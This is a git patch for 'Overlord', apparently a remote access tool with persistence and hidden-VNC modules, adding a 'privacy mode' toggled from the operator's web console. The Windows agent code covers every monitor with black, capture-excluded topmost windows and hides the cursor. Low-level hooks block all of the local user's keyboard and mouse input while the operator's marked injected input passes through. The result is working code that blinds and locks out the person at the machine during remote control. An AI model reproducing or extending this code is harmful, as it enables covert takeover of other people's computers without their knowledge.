From 9adcbb24a5ec0d7fbca6c587dc5510ae41e14ef0 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Fri, 10 Jul 2026 23:44:46 -0500 Subject: [PATCH] privacy selector --- Overlord-Client/cmd/agent/handlers/command.go | 58 ++ .../cmd/agent/handlers/input_windows.go | 17 +- Overlord-Client/cmd/agent/privacy/privacy.go | 54 ++ .../cmd/agent/privacy/privacy_stub.go | 11 + .../cmd/agent/privacy/privacy_windows.go | 530 ++++++++++++++++++ Overlord-Client/cmd/agent/wire/protocol.go | 5 + .../public/assets/remotedesktop.js | 23 + Overlord-Server/public/remotedesktop.html | 3 + .../src/server/ws-console-rd-hvnc.ts | 6 + 9 files changed, 704 insertions(+), 3 deletions(-) create mode 100644 Overlord-Client/cmd/agent/privacy/privacy.go create mode 100644 Overlord-Client/cmd/agent/privacy/privacy_stub.go create mode 100644 Overlord-Client/cmd/agent/privacy/privacy_windows.go diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index f4fc8d5..a688820 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -22,6 +22,7 @@ import ( "overlord-client/cmd/agent/filesearch" "overlord-client/cmd/agent/persistence" "overlord-client/cmd/agent/plugins" + "overlord-client/cmd/agent/privacy" "overlord-client/cmd/agent/runtime" "overlord-client/cmd/agent/securelog" "overlord-client/cmd/agent/sysinfo" @@ -86,6 +87,8 @@ func resetForReconnect(env *runtime.Env) { return } + privacy.Stop() + cancelAllCommands() capture.ResetFrameSlots() @@ -693,6 +696,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in env.DesktopCancel = nil env.DesktopDone = nil env.DesktopMu.Unlock() + if privacy.IsEnabled() { + privacy.Stop() + log.Printf("privacy: auto-disabled on desktop stop") + } sendCommandResultSafe(env, cmdID, true, "") return nil case "desktop_select_display": @@ -2451,6 +2458,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()}) } return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}) + case "privacy_start": + payload, _ := envelope["payload"].(map[string]interface{}) + _ = handlePrivacyStart(ctx, env, cmdID, payload) + return nil + case "privacy_stop": + _ = handlePrivacyStop(ctx, env, cmdID) + return nil + case "privacy_status": + _ = handlePrivacyStatus(ctx, env, cmdID) + return nil case "uninstall": res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} _ = wire.WriteMsg(ctx, env.Conn, res) @@ -2572,3 +2589,44 @@ func toInt(v interface{}) int { } return 0 } + +func handlePrivacyStart(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error { + if goruntime.GOOS != "windows" { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", CommandID: cmdID, OK: false, + Message: "privacy mode is only supported on Windows", + }) + } + if privacy.IsEnabled() { + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", CommandID: cmdID, OK: true, + Message: "privacy mode already active", + }) + } + if err := privacy.Start(); err != nil { + log.Printf("privacy: start failed: %v", err) + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", CommandID: cmdID, OK: false, + Message: err.Error(), + }) + } + log.Printf("privacy: mode enabled") + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", CommandID: cmdID, OK: true, + }) +} + +func handlePrivacyStop(ctx context.Context, env *runtime.Env, cmdID string) error { + privacy.Stop() + log.Printf("privacy: mode disabled") + return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", CommandID: cmdID, OK: true, + }) +} + +func handlePrivacyStatus(ctx context.Context, env *runtime.Env, cmdID string) error { + enabled := privacy.IsEnabled() + return wire.WriteMsg(ctx, env.Conn, wire.PrivacyStatus{ + Type: "privacy_status", Enabled: enabled, + }) +} diff --git a/Overlord-Client/cmd/agent/handlers/input_windows.go b/Overlord-Client/cmd/agent/handlers/input_windows.go index 9eefedc..69b9ea2 100644 --- a/Overlord-Client/cmd/agent/handlers/input_windows.go +++ b/Overlord-Client/cmd/agent/handlers/input_windows.go @@ -5,6 +5,8 @@ package handlers import ( "syscall" "unsafe" + + "overlord-client/cmd/agent/privacy" ) var ( @@ -112,7 +114,7 @@ func sendMouseInput(flags uint32, mouseData uint32) { mi.mouseData = mouseData mi.dwFlags = flags mi.time = 0 - mi.dwExtraInfo = 0 + mi.dwExtraInfo = inputExtraInfo() _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp)) } @@ -152,7 +154,7 @@ func sendMouseMoveAbsolute(x, y int32) bool { mi.mouseData = 0 mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_VIRTUALDESK mi.time = 0 - mi.dwExtraInfo = 0 + mi.dwExtraInfo = inputExtraInfo() r, _, _ := procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp)) return r != 0 } @@ -186,7 +188,7 @@ func sendKeyInput(vk uint16, keyUp bool) { } ki.dwFlags = flags ki.time = 0 - ki.dwExtraInfo = 0 + ki.dwExtraInfo = inputExtraInfo() _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp)) } @@ -242,6 +244,7 @@ func sendUnicodeRune(r rune) { ki.wVk = 0 ki.wScan = uint16(r) ki.dwFlags = KEYEVENTF_UNICODE + ki.dwExtraInfo = inputExtraInfo() _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inp)), unsafe.Sizeof(inp)) var inpUp input @@ -250,6 +253,7 @@ func sendUnicodeRune(r rune) { kiUp.wVk = 0 kiUp.wScan = uint16(r) kiUp.dwFlags = KEYEVENTF_UNICODE | KEYEVENTF_KEYUP + kiUp.dwExtraInfo = inputExtraInfo() _, _, _ = procSendInput.Call(1, uintptr(unsafe.Pointer(&inpUp)), unsafe.Sizeof(inpUp)) } @@ -287,3 +291,10 @@ func keyCodeToVK(code string) uint16 { } return 0 } + +func inputExtraInfo() uintptr { + if privacy.IsEnabled() { + return privacy.InputMarker() + } + return 0 +} diff --git a/Overlord-Client/cmd/agent/privacy/privacy.go b/Overlord-Client/cmd/agent/privacy/privacy.go new file mode 100644 index 0000000..b119659 --- /dev/null +++ b/Overlord-Client/cmd/agent/privacy/privacy.go @@ -0,0 +1,54 @@ +package privacy + +import ( + "sync" + "sync/atomic" +) + +const inputMarker uintptr = 0x00D5E7B00B5 + +type Manager struct { + mu sync.Mutex + enabled int32 +} + +var global = &Manager{} + +func Get() *Manager { return global } + +func (m *Manager) IsEnabled() bool { + return atomic.LoadInt32(&m.enabled) != 0 +} + +func (m *Manager) Enable() error { + m.mu.Lock() + defer m.mu.Unlock() + + if atomic.LoadInt32(&m.enabled) != 0 { + return nil + } + + if err := enablePlatform(); err != nil { + atomic.StoreInt32(&m.enabled, 0) + return err + } + + atomic.StoreInt32(&m.enabled, 1) + return nil +} + +func (m *Manager) Disable() { + m.mu.Lock() + defer m.mu.Unlock() + + if atomic.SwapInt32(&m.enabled, 0) == 0 { + return + } + + disablePlatform() +} + +func Start() error { return Get().Enable() } +func Stop() { Get().Disable() } +func IsEnabled() bool { return Get().IsEnabled() } +func InputMarker() uintptr { return inputMarker } diff --git a/Overlord-Client/cmd/agent/privacy/privacy_stub.go b/Overlord-Client/cmd/agent/privacy/privacy_stub.go new file mode 100644 index 0000000..3e29e06 --- /dev/null +++ b/Overlord-Client/cmd/agent/privacy/privacy_stub.go @@ -0,0 +1,11 @@ +//go:build !windows + +package privacy + +import "errors" + +func enablePlatform() error { + return errors.New("privacy mode is only supported on Windows") +} + +func disablePlatform() {} diff --git a/Overlord-Client/cmd/agent/privacy/privacy_windows.go b/Overlord-Client/cmd/agent/privacy/privacy_windows.go new file mode 100644 index 0000000..c532bf2 --- /dev/null +++ b/Overlord-Client/cmd/agent/privacy/privacy_windows.go @@ -0,0 +1,530 @@ +//go:build windows + +package privacy + +import ( + "log" + "runtime" + "sync" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +const ( + WS_EX_TOPMOST = 0x00000008 + WS_EX_TOOLWINDOW = 0x00000080 + WS_EX_NOACTIVATE = 0x08000000 + WS_EX_TRANSPARENT = 0x00000020 + WS_EX_LAYERED = 0x00080000 + WS_POPUP = 0x80000000 + WS_VISIBLE = 0x10000000 + WDA_EXCLUDEFROMCAPTURE = 0x00000011 + + WH_KEYBOARD_LL = 13 + WH_MOUSE_LL = 14 + + WM_QUIT = 0x0012 + WM_KEYDOWN = 0x0100 + WM_KEYUP = 0x0101 + WM_SYSKEYDOWN = 0x0104 + WM_SYSKEYUP = 0x0105 + + LLKHF_INJECTED = 0x00000010 + + LLMHF_INJECTED = 0x00000001 + + VK_CONTROL = 0x11 + VK_P = 0x50 + VK_LCONTROL = 0xA2 + VK_RCONTROL = 0xA3 + + SW_HIDE = 0 + SW_SHOW = 5 + + SWP_NOSIZE = 0x0001 + SWP_NOMOVE = 0x0002 + SWP_NOACTIVATE = 0x0010 + SWP_SHOWWINDOW = 0x0040 + + LWA_ALPHA = 0x00000002 + + SM_XVIRTUALSCREEN = 76 + SM_YVIRTUALSCREEN = 77 + SM_CXVIRTUALSCREEN = 78 + SM_CYVIRTUALSCREEN = 79 +) + +var ( + user32 = syscall.NewLazyDLL("user32.dll") + + procCreateWindowExW = user32.NewProc("CreateWindowExW") + procDefWindowProcW = user32.NewProc("DefWindowProcW") + procDestroyWindow = user32.NewProc("DestroyWindow") + procGetMessageW = user32.NewProc("GetMessageW") + procTranslateMessage = user32.NewProc("TranslateMessage") + procDispatchMessageW = user32.NewProc("DispatchMessageW") + procPostThreadMessageW = user32.NewProc("PostThreadMessageW") + procRegisterClassExW = user32.NewProc("RegisterClassExW") + procSetWindowDisplayAffinity = user32.NewProc("SetWindowDisplayAffinity") + procSetWindowsHookExW = user32.NewProc("SetWindowsHookExW") + procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx") + procCallNextHookEx = user32.NewProc("CallNextHookEx") + procShowWindow = user32.NewProc("ShowWindow") + procUpdateWindow = user32.NewProc("UpdateWindow") + procSetWindowPos = user32.NewProc("SetWindowPos") + procSetLayeredWindowAttributes = user32.NewProc("SetLayeredWindowAttributes") + procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors") + procShowCursor = user32.NewProc("ShowCursor") + procGetSystemMetrics = user32.NewProc("GetSystemMetrics") + procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState") + + kernel32 = syscall.NewLazyDLL("kernel32.dll") + procGetModuleHandleW = kernel32.NewProc("GetModuleHandleW") + procGetCurrentThreadID = kernel32.NewProc("GetCurrentThreadId") + + gdi32 = syscall.NewLazyDLL("gdi32.dll") + procCreateSolidBrush = gdi32.NewProc("CreateSolidBrush") + + keyboardHook uintptr + mouseHook uintptr + + privacyWindows []windows.HWND + privacyWindowsMu sync.Mutex + + platformMu sync.Mutex + platform *platformState + cursorHideOps int + ctrlPressed bool +) + +type platformState struct { + ready chan error + done chan struct{} + threadID uint32 +} + +type wndClassExW struct { + cbSize uint32 + style uint32 + lpfnWndProc uintptr + cbClsExtra int32 + cbWndExtra int32 + hInstance windows.Handle + hIcon windows.Handle + hCursor windows.Handle + hbrBackground windows.Handle + lpszMenuName *uint16 + lpszClassName *uint16 + hIconSm windows.Handle +} + +type point struct { + x int32 + y int32 +} + +type msg struct { + hwnd windows.HWND + message uint32 + wParam uintptr + lParam uintptr + time uint32 + pt point +} + +type kbdllhookstruct struct { + vkCode uint32 + scanCode uint32 + flags uint32 + time uint32 + dwExtraInfo uintptr +} + +type msllhookstruct struct { + pt point + mouseData uint32 + flags uint32 + time uint32 + dwExtraInfo uintptr +} + +func enablePlatform() error { + platformMu.Lock() + if platform != nil { + platformMu.Unlock() + return nil + } + + st := &platformState{ + ready: make(chan error, 1), + done: make(chan struct{}), + } + platform = st + go runPlatformThread(st) + platformMu.Unlock() + + if err := <-st.ready; err != nil { + platformMu.Lock() + if platform == st { + platform = nil + } + platformMu.Unlock() + return err + } + + return nil +} + +func disablePlatform() { + platformMu.Lock() + st := platform + platform = nil + platformMu.Unlock() + + if st == nil { + return + } + + if st.threadID != 0 { + procPostThreadMessageW.Call(uintptr(st.threadID), WM_QUIT, 0, 0) + } + <-st.done +} + +func runPlatformThread(st *platformState) { + runtime.LockOSThread() + defer runtime.UnlockOSThread() + defer close(st.done) + + st.threadID = currentThreadID() + + if err := createPrivacyWindows(); err != nil { + st.ready <- err + return + } + + if err := installInputHooks(); err != nil { + destroyPrivacyWindows() + st.ready <- err + return + } + + hideCursor() + st.ready <- nil + + messagePump() + + restoreCursor() + uninstallInputHooks() + destroyPrivacyWindows() +} + +func currentThreadID() uint32 { + ret, _, _ := procGetCurrentThreadID.Call() + return uint32(ret) +} + +func createPrivacyWindows() error { + className, err := syscall.UTF16PtrFromString("OverlordPrivacyWindow") + if err != nil { + return err + } + + hInstance := getModuleHandle() + + brush, _, _ := procCreateSolidBrush.Call(0x00000000) + + wndClass := wndClassExW{ + cbSize: uint32(unsafe.Sizeof(wndClassExW{})), + style: 0, + lpfnWndProc: syscall.NewCallback(defWindowProcCallback), + hInstance: windows.Handle(hInstance), + hCursor: 0, + hbrBackground: windows.Handle(brush), + lpszClassName: className, + } + + ret, _, _ := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wndClass))) + if ret == 0 { + if err := syscall.GetLastError(); err != windows.ERROR_CLASS_ALREADY_EXISTS { + return err + } + } + + monitors := enumerateMonitors() + if len(monitors) == 0 { + left := getSystemMetric(SM_XVIRTUALSCREEN) + top := getSystemMetric(SM_YVIRTUALSCREEN) + width := getSystemMetric(SM_CXVIRTUALSCREEN) + height := getSystemMetric(SM_CYVIRTUALSCREEN) + if width > 0 && height > 0 { + monitors = append(monitors, monitorRect{ + left: left, + top: top, + right: left + width, + bottom: top + height, + }) + } + } + + for _, mon := range monitors { + hwnd, _, _ := procCreateWindowExW.Call( + uintptr(WS_EX_TOPMOST|WS_EX_TOOLWINDOW|WS_EX_NOACTIVATE|WS_EX_TRANSPARENT|WS_EX_LAYERED), + uintptr(unsafe.Pointer(className)), + 0, + uintptr(WS_POPUP|WS_VISIBLE), + uintptr(mon.left), + uintptr(mon.top), + uintptr(mon.right-mon.left), + uintptr(mon.bottom-mon.top), + 0, 0, uintptr(hInstance), 0, + ) + if hwnd == 0 { + log.Printf("privacy: failed to create window for monitor [%d %d %d %d]: %v", + mon.left, mon.top, mon.right, mon.bottom, syscall.GetLastError()) + continue + } + + procSetWindowDisplayAffinity.Call(hwnd, uintptr(WDA_EXCLUDEFROMCAPTURE)) + procSetLayeredWindowAttributes.Call(hwnd, 0, 255, uintptr(LWA_ALPHA)) + procSetWindowPos.Call( + hwnd, + ^uintptr(0), + uintptr(mon.left), + uintptr(mon.top), + uintptr(mon.right-mon.left), + uintptr(mon.bottom-mon.top), + uintptr(SWP_NOACTIVATE|SWP_SHOWWINDOW), + ) + procShowWindow.Call(hwnd, SW_SHOW) + procUpdateWindow.Call(hwnd) + + privacyWindowsMu.Lock() + privacyWindows = append(privacyWindows, windows.HWND(hwnd)) + privacyWindowsMu.Unlock() + } + + if len(privacyWindows) == 0 { + return syscall.GetLastError() + } + + log.Printf("privacy: created %d privacy window(s)", len(privacyWindows)) + return nil +} + +func getSystemMetric(index int32) int32 { + ret, _, _ := procGetSystemMetrics.Call(uintptr(index)) + return int32(ret) +} + +func hideCursor() { + cursorHideOps = 0 + for { + count := showCursor(false) + cursorHideOps++ + if count < 0 || cursorHideOps > 32 { + break + } + } +} + +func restoreCursor() { + for i := 0; i < cursorHideOps; i++ { + showCursor(true) + } + cursorHideOps = 0 +} + +func showCursor(show bool) int32 { + arg := uintptr(0) + if show { + arg = 1 + } + ret, _, _ := procShowCursor.Call(arg) + return int32(ret) +} + +func destroyPrivacyWindows() { + privacyWindowsMu.Lock() + windows := privacyWindows + privacyWindows = nil + privacyWindowsMu.Unlock() + + for _, hwnd := range windows { + procShowWindow.Call(uintptr(hwnd), SW_HIDE) + procDestroyWindow.Call(uintptr(hwnd)) + } + log.Printf("privacy: destroyed %d privacy window(s)", len(windows)) +} + +type monitorRect struct { + left, top, right, bottom int32 +} + +func enumerateMonitors() []monitorRect { + var monitors []monitorRect + var mu sync.Mutex + + cb := syscall.NewCallback(func(hMonitor, hdc, lprcMonitor, lparam uintptr) uintptr { + rc := (*rect)(unsafe.Pointer(lprcMonitor)) + mu.Lock() + monitors = append(monitors, monitorRect{ + left: rc.left, + top: rc.top, + right: rc.right, + bottom: rc.bottom, + }) + mu.Unlock() + return 1 + }) + + procEnumDisplayMonitors.Call(0, 0, cb, 0) + return monitors +} + +type rect struct { + left int32 + top int32 + right int32 + bottom int32 +} + +func defWindowProcCallback(hwnd windows.HWND, msg uint32, wParam uintptr, lParam uintptr) uintptr { + ret, _, _ := procDefWindowProcW.Call(uintptr(hwnd), uintptr(msg), wParam, lParam) + return ret +} + +func getModuleHandle() windows.Handle { + ret, _, _ := procGetModuleHandleW.Call(0) + return windows.Handle(ret) +} + +func installInputHooks() error { + hInstance := getModuleHandle() + + kbCb := syscall.NewCallback(keyboardHookProc) + kh, _, err := procSetWindowsHookExW.Call( + uintptr(WH_KEYBOARD_LL), + kbCb, + uintptr(hInstance), + 0, + ) + if kh == 0 { + return err + } + keyboardHook = kh + + mCb := syscall.NewCallback(mouseHookProc) + mh, _, err := procSetWindowsHookExW.Call( + uintptr(WH_MOUSE_LL), + mCb, + uintptr(hInstance), + 0, + ) + if mh == 0 { + procUnhookWindowsHookEx.Call(keyboardHook) + keyboardHook = 0 + return err + } + mouseHook = mh + + log.Printf("privacy: input hooks installed (kb=%d mouse=%d)", keyboardHook, mouseHook) + return nil +} + +func uninstallInputHooks() { + if keyboardHook != 0 { + procUnhookWindowsHookEx.Call(keyboardHook) + keyboardHook = 0 + } + if mouseHook != 0 { + procUnhookWindowsHookEx.Call(mouseHook) + mouseHook = 0 + } + log.Printf("privacy: input hooks removed") +} + +func keyboardHookProc(nCode int, wParam uintptr, lParam uintptr) uintptr { + if nCode < 0 { + ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam) + return ret + } + + m := Get() + if !m.IsEnabled() { + ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam) + return ret + } + + kb := (*kbdllhookstruct)(unsafe.Pointer(lParam)) + + if kb.dwExtraInfo == InputMarker() { + ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam) + return ret + } + + if kb.flags&LLKHF_INJECTED != 0 { + ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam) + return ret + } + + switch kb.vkCode { + case VK_CONTROL, VK_LCONTROL, VK_RCONTROL: + if wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN { + ctrlPressed = true + } else { + ctrlPressed = false + } + return 1 + + } + + return 1 +} + +func mouseHookProc(nCode int, wParam uintptr, lParam uintptr) uintptr { + if nCode < 0 { + ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam) + return ret + } + + if !Get().IsEnabled() { + ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam) + return ret + } + + ms := (*msllhookstruct)(unsafe.Pointer(lParam)) + + if ms.dwExtraInfo == InputMarker() { + ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam) + return ret + } + + if ms.flags&LLMHF_INJECTED != 0 { + ret, _, _ := procCallNextHookEx.Call(0, uintptr(nCode), wParam, lParam) + return ret + } + + return 1 +} + +func messagePump() { + log.Printf("privacy: message pump starting") + + var m msg + for { + ret, _, _ := procGetMessageW.Call( + uintptr(unsafe.Pointer(&m)), + 0, 0, 0, + ) + if ret == 0 || ret == ^uintptr(0) { + break + } + procTranslateMessage.Call(uintptr(unsafe.Pointer(&m))) + procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m))) + } + + log.Printf("privacy: message pump stopped") +} diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 4619e66..cde58fb 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -441,3 +441,8 @@ type WebRTCP2PIce struct { SDPMid string `msgpack:"sdpMid"` SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"` } + +type PrivacyStatus struct { + Type string `msgpack:"type"` + Enabled bool `msgpack:"enabled"` +} diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 759d4d3..6756382 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -80,6 +80,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s const inputLatency = document.getElementById("inputLatency"); const statusEl = document.getElementById("streamStatus"); const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl"); + const privacyCtrl = document.getElementById("privacyCtrl"); const audioCtrl = document.getElementById("audioCtrl"); const webrtcMode = document.getElementById("webrtcMode"); const webrtcVideo = document.getElementById("webrtcVideo"); @@ -427,6 +428,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s duplication: !!duplicationCtrl?.checked, softwareH264: !!softwareH264Ctrl?.checked, clipboardSync: !!clipboardSyncCtrl?.checked, + privacy: !!privacyCtrl?.checked, audio: !!audioCtrl?.checked, audioTransport: getAudioTransport(), smoothing: Number(smoothingSlider?.value || 20), @@ -802,6 +804,13 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s }); } + if (privacyCtrl) { + privacyCtrl.addEventListener("change", function () { + pushPrivacyToggle(); + sharedSettingsSaver.scheduleSave(); + }); + } + function updateLatency(ms) { if (ms < 0 || !Number.isFinite(ms)) return; latencyAvg = latencyAvg == null ? ms : latencyAvg * 0.8 + ms * 0.2; @@ -1387,6 +1396,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s desiredStreaming = false; lastFrameAt = 0; setStreamState("stopping", "Stopping stream"); + disablePrivacyIfActive(); sendCmd("desktop_stop", {}); disconnectAudio(); stopAllWebrtc(); @@ -1435,6 +1445,18 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } } + function pushPrivacyToggle() { + if (!privacyCtrl) return; + sendCmd(privacyCtrl.checked ? "privacy_start" : "privacy_stop", {}); + } + + function disablePrivacyIfActive() { + if (privacyCtrl && privacyCtrl.checked) { + privacyCtrl.checked = false; + sendCmd("privacy_stop", {}); + } + } + mouseCtrl.addEventListener("change", function () { pushInputToggles(); sharedSettingsSaver.scheduleSave(); @@ -2153,6 +2175,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s function stopOnExit() { sharedSettingsSaver.saveNow(); if (isRecording()) stopRecording(); + disablePrivacyIfActive(); if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) { desiredStreaming = false; sendCmd("desktop_stop", {}); diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html index 598aa7e..61f8ebe 100644 --- a/Overlord-Server/public/remotedesktop.html +++ b/Overlord-Server/public/remotedesktop.html @@ -239,6 +239,9 @@ +
diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index 2c6b259..30e5ee9 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -571,6 +571,12 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket } break; } + case "privacy_start": + sendDesktopCommand(target, "privacy_start", {}); + break; + case "privacy_stop": + sendDesktopCommand(target, "privacy_stop", {}); + break; case "mouse_move": { if (!state.isStreaming) break; const rawX = (payload as any).x;